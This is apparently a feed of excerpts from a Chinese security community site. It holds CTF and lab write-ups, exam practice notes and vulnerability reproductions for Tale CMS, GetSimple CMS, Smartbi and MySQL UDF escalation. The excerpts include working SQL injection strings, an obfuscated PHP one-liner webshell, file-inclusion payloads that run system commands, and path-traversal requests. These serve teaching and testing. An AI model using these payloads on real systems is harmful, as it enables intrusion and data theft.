> aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/ 2023-06-05 19:13:53 37 flag1.txt 2023-06-08 19:18:24 81889 logo.png > aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt flag.txt download failed: s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt to ./flag.txt [Errno 30] Read-only fi le system: '/var/task/flag.txt.c8AFe52B' Completed 37 Bytes/37 Bytes (363 Bytes/s) with 1 file
2023年9月25日 16:01 火线zone
The Big IAM Challenge
https://bigiamchallenge.com/
‍
Challenge 1: Buckets of Fun
We all know that public buckets are risky. But can you find the flag?
IAM Policy
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": "*", "Action": "s3:GetObject", "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*" }, { "Effect": "Allow", "Principal": "*", "Action": "s3:ListBucket", "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b", "Condition": { "StringLike": { "s3:prefix": "files/*" } } } ] }
IAM 策略 允许任何用户对指定的存储桶执行 GetObject 操作;允许任何用户对指定的存储桶执行 ListBucket 操作 访问带有前缀的列表对象 files/*
> aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/ 2023-06-05 19:13:53 37 flag1.txt 2023-06-08 19:18:24 81889 logo.png > aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt flag.txt download failed: s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt to ./flag.txt [Errno 30] Read-only fi le system: '/var/task/flag.txt.c8AFe52B' Completed 37 Bytes/37 Bytes (363 Bytes/s) with 1 file
2023年9月25日 11:31 火线zone
自从火线Zone征稿奖励方案发布后,收到了许多大佬们的优质投稿。为了感谢各位大表哥们的热情支持,我们将9月份投稿文章奖励进行公示,希望更多大佬们能够积极在社区内发表原创技术文章,与更多技术专家们共同探讨技术话题。
9月投稿文章公示:
仅统计公示时发稿≥7天的文章,发表时长不足7天的文章在下一周期的统计中公示
本次统计周期:8.25-9.24

https://i0x0fy4ibf.feishu.cn/docx/KlNCd0K5XoAx70xYhNhcdblBndf?from=from_copylink
征稿奖励方案请参见:
https://zone.huoxian.cn/d/2699-zone
奖励发放说明
符合文章激励的内容将会同步对外发表在【火线Zone】公众号上。
每月最后一个周一统一发放本月投稿奖励,如对奖励有异议请及时联系#火线小助手#。
2023年9月22日 15:31 火线zone
前言
记一次某行业CTF比赛中遇见的一道题目EZweb,结束后才发现魔改的webmaster,题解基本类似。
信息搜集
全端口扫描
开放端口22, 53,80,查询web应用
http://192.168.221.138/
获取权限
查看源码发现提示
webmaster.hmv
修改hosts文件
vim /etc/hosts
添加192.168.221.138 webmaster.hmv
dig axfr @192.168.221.138 webmaster.hmv
dig 是一个DNS查找实用程序,用于查询DNS名称服务器。它是“域信息槽”的缩写。
axfr 是一种DNS查询类型,用于请求一个区域的完整复制。这通常用于在DNS服务器之间复制区域。这种类型的查询通常被称为"区域传输"。
@192.168.221.138 指定了要查询的DNS服务器的IP地址。
webmaster.hmv 是你想要查询的域名。
使用dig工具从DNS服务器192.168.221.138请求一个关于域名webmaster.hmv的完整区域传输。
根据dns查询信息获取到john的密码Myhiddenpazzword
ssh john@192.168.221.138
登录成功,看到tips.txt提示flag在根目录下的flag.txt中,但是用户权限不足。
sudo -l
![image-20230922104407189](C:\Users\Administrator\Desktop\HackMyVM\WebMaster.assets\image-20230922104407189.png)
提权
www目录的权限是nginx目录,创建文件给权限直接写shell
cd /var/www/html touch shell.php vi shell.php
192.168.221.138 /shell.php
根目录读取flag
2023年9月19日 15:31 火线zone
前言
翻了翻之前的笔记,还有这个没分享,一次性都发出来吧,似乎从前年8月份认证环境也有改版,TE和TS操作机应该都换成了WIN10吧
SQL注入
注册后登录
用户名为e
观察插入的字段内容,构造payload
a','e'),('1',(select database()),'1
拿到数据库2web
爆表
a','e'),('1',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'1
爆列

爆出表的所有字段,读内容
文件上传
http://150.158.27.164:82/
上传图片马
copy 1.jpg/b+1.php/a 2.jpg
抓包直接上传,修改文件名为4.php
内容过滤,免杀马,免杀一句话
<?php array_map("arr\x65rt",(array)$_REQUEST['a']); ?>
连接查看文件读取key
文件包含
http://150.158.27.164:83/start/index.php?page=hello
http://150.158.27.164:83/start/index.php?page=dadata://ta://text/plain,%3C?php%20print_r(scandir(%27..%27));?%3E
payload
?page=datadata://://text/plain,<?php%20print_r(scandir(%27..%27));?>
?page=dadata://ta://text/plain,<?php%20print_r(scandir(%27..%27));?>
读取key.php
?page=datadata://://text/plain,<?php%20print_r(system(%27cat%20../key.php%27));?>
反序列化
http://150.158.27.164:84/start/vul.php
paylaod
?str=s:8:"CISP-PTE";
SQL注入
http://150.158.27.164:1081
这里将空格过滤掉了
修改payload
a','as'),('a',(select/**/database()),'1
其余的都一样,
2023年9月18日 12:01 火线zone
环境搭建
https://gitee.com/hellokaton/tale
下载安装包 运行 Application
访问 127.0.0.1:9000
漏洞复现与分析
未授权任意文件读取
构造数据包
GET /%61dmin/template/content?fileName=/../../../../../pom.xml HTTP/1.1 Host: 127.0.0.1:9000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-CSRF-TOKEN: JDJhJDEyJGt0NzBwLnphVzFacnNZLjBkWGsyVk8zOXJST1U5dWV5ZVJWblVtTmpaUG5HNFRrbEFDa2pP X-Requested-With: XMLHttpRequest Accept: */* Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:9000/admin/index Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
读取到项目中的 pom 文件
com.tale.controller.admin.PagesController#getContent
通过 GET 方式获取到参数 fileName 的值未经处理就拼接到 filePath 中 最后利用 readAllLines 读取到文件内容
java.util.List
逻辑漏洞--全局越权
构造数据包
GET /%61dmin/api/logs HTTP/1.1 Host: 127.0.0.1:9000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With
2023年9月14日 19:01 火线zone
授权 SSRF 漏洞
登录后构造数据包
POST /admin/changedata.php HTTP/1.1 Host: getsimplecms.test Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: GS_ADMIN_USERNAME=admin; b16087c538c5e080e5e82057bded19bd08c57ce1=d7cdbbdcbd9efb469568564e0dc767dd74316626 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 103 submitted=1&post-title=1&nonce=3268d41787c0ee588931a91265eaf87ada4b3939&redirectto=http://www.baidu.com
会使得页面跳转到百度页面
admin/changedata.php
构造参数需要满足这三个参数存在,且 nonce 需要满足绕过 CSRF 的校验
admin/inc/security_functions.php#check_nonce
admin/inc/security_functions.php#get_nonce
通过调试和加断点输出可以得到满足条件的值
最后再传入 redirect_url 的值就是会跳转成功的值
‍
‍
授权代码执行
访问路径
http://getsimplecms.test/admin/theme-edit.php
2023年9月8日 19:01 火线zone
漏洞简介
Smartbi是一款商业智能应用,提供了数据集成、分析、可视化等功能,帮助用户理解和使用他们的数据进行决策。Smartbi 存在权限绕过漏洞。未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。获取管理员权限后,可进入后台实现任意命令执行。
漏洞复现
运行脚本,监听本地 9090 端口
import http.server import socketserver class MyHandler(http.server.SimpleHTTPRequestHandler): def do_GET(self): # 获取GET请求的内容 request_content = self.path print("GET请求内容:", request_content) # 返回响应 self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() self.wfile.write(b'{"result":true}') def do_POST(self): # 获取POST请求的内容 content_length = int(self.headers['Content-Length']) request_content = self.rfile.read(content_length).decode('utf-8') print("POST请求内容:", request_content) # 返回响应 self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() self.wfile.write(b'{"result":true}') # 监听9090端口 with socketserver.TCPServer(("", 9090), MyHandler) as httpd: print("正在监听9090端口...") httpd.serve_forever()
触发方式一_setServiceAddress
POST /smartbi/smartbix/api/monitor/setServiceAddress HTTP/1.1 Host: 
2023年9月7日 11:01 火线zone
作者:风起
威胁情报是指在信息安全和安全防御领域,收集、分析和解释与潜在威胁相关的信息,以便预先发现并评估可能对组织资产造成损害的潜在威胁,是一种多维度、综合性的方法,其通过信息的收集、分析和研判,帮助组织了解可能对其安全构成威胁的因素。这种方法不仅仅着重于技术层面,还包括了社会、心理、政治等多个维度,以此更好地应对不断变化和复杂化的威胁环境。旨在为分析人员提供关键信息,帮助他们采取预防措施和应急响应策略,从而降低威胁应对实施的风险和影响。
前言
随着愈发严峻网络攻击对抗环境,网络威胁情报逐渐在攻击行为分析中扮演着不可或缺的角色。网络威胁情报的重要性主要在于其能够帮助组织了解自身所面临不断变化的威胁,提供数据驱动的防御策略,减少潜在的风险和损失,并为建立更强大的信息安全体系提供支持。
本文聚焦于针对C2基础设施视角下的威胁情报对抗策略,文内笔者将对于威胁情报分析过程的攻防思路展开论述。从高级攻防过程中,攻击者的视角来看威胁情报的分析思路,浅析在情报研判及狩猎过程中存在的问题。在工作过程中,笔者发现,站在攻击视角看待威胁情报是十分必要的,我们需要从攻击者的角度去思考威胁情报中可能存在的不严谨的地方。当发生攻击行为时,研判人员的分析思路是基于自己对于攻击的理解还是客观情报?相信通过本文读者将对此有所思考。由于威胁情报的对抗概念较为广义,涵盖了很多不同的细分方向,限于篇幅,本文将仅讲解C2基础设施对抗的方向。
本文仅为作者个人观点,如有不恰,请指正。
攻击者视角下的威胁情报研判思路
在看到疑似攻击行为时首先应该想一下,我们所看到的威胁情报是否完全真实?分析安全事件时,威胁情报应作为辅助判断依据,但不应该是决定性的因素。分析人员判断安全事件的第一准则即“行为”,而行为概念在网络空间测绘中也有体现,但是两者之间存在互通又具有歧义。在威胁情报流量侧狩猎的过程中,行为主要是该主体做了什么,聚焦于通信过程,而测绘中则为个体独有特征,目的为最终能够形成指纹。但是该主体所表现得特征同样可以作为威胁情报的聚焦信息之一,以此来关联其某一组织的资产设施。
行为:不同的群体,可能表现出基本的独有的特征,当我们能掌握到这个特征,那么我们就能尽可能识别出这个群体里的所有个体,而这些行为特征在网络空间测绘里表现出的是这个设备各个端口协议里的banner特征。
这里可以把行为理解为特征,而如何提取这些特征,进行更加精准的匹配无疑也成为了最重要的环节
2023年9月6日 10:31 火线zone
前言
有些时候我们通过一些方式获取了主机的mysql的用户名和密码(可以是信息泄露,目录遍历,弱口令爆破),并且可以远程登录上;这时候我们就会想如何通过MySQL来获取服务器权限,执行系统命令,这个时候可以考虑用UDF进行提权,本次提权是在自己虚拟机进行测试,有些踩坑的地方,有很多不足或不知道的地方,希望大佬指点指点0.0
目的:MySQL权限-----》系统命令执行权限
复现过程
1、首先我们需要了解什么是UDF,通俗的讲就是用户自定义函数,它是MySQL的一个拓展接口,可以为MySQL增添一些函数。比如MySQL一些函数没有,我们就可以用UDF加一些函数进去,那么我们就可以在MySQL中使用这些函数了
使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。
提权的条件
1.获取MySQL的控制权限:知道MySQL用户名和密码,并且可以远程登录;
2.MySQL具有写入文件的权限:MySQL有写入文件的权限,即secure_file_priv的值为空
ps:mysql提权获取到的权限大小跟运行mysql所在服务器登录的账号的权限相关,如操作系统以普通用户登录的并启动mysql,经udf提权后也只能获取到系统的普通用户权限。而使用管理员登录操作系统运行mysql,提权后获取的权限则为系统管理员权限。
然后我们查询权限
show global variables like '%secure%';
ps:解释
secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。如下关于secure_file_priv的配置介绍
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下 当secur
2023年9月4日 12:01 火线zone
我们注意到通过页面请求的相关数据包都是加密的结果,为了方便对数据的处理,我们研究其中的编码,编写解码小工具
请求内容解码
通过查看 smartbi/freequery/filter/CheckIsLoggedFilter.class 定位到解码操作
public static void main(String[] args) throws Exception { String encode = "zDp4Wp4gRip+-pkWQ~xQ6ikRw6D+/JV/uutjaO*a3a!/uu/JT"; String[] decode = RMICoder.decode(encode); System.out.println(decode[0]); System.out.println(decode[1]); System.out.println(decode[2]); }
请求内容编码
利用 smartbi.framework.rmi.RMICoder#encode 并没有办法利用成功
我们现在已经知道解码的函数 smartbi.framework.rmi.RMICoder#decode 经过不断测试发现编码值是一一对应的
所以我们将字符串
0123456789ABCDEF!'()*-.GHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz~
一一进行解码,找到其中对应的值
q1yNrpn0L7(Xxs)MW8aYTgjkGh54P63A!uilDZBSzQVfEwIm~-vdcRtK9'Oe.H*C2JoF_Ub
再根据这个对应关系,去进行查找替换
public class encode { public static void main(String[] args) { String encode = "0123456789ABCDEF!'()*-.GHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz~"; String code = "q1yNrpn0L7(Xxs)MW8aYTgjkGh54P63A!uilDZBSzQVfEwIm~-vdcRtK9'Oe.H*C2JoF_Ub"; String encodestring = "user+"; StringBuilder decodestring = new StringBuilde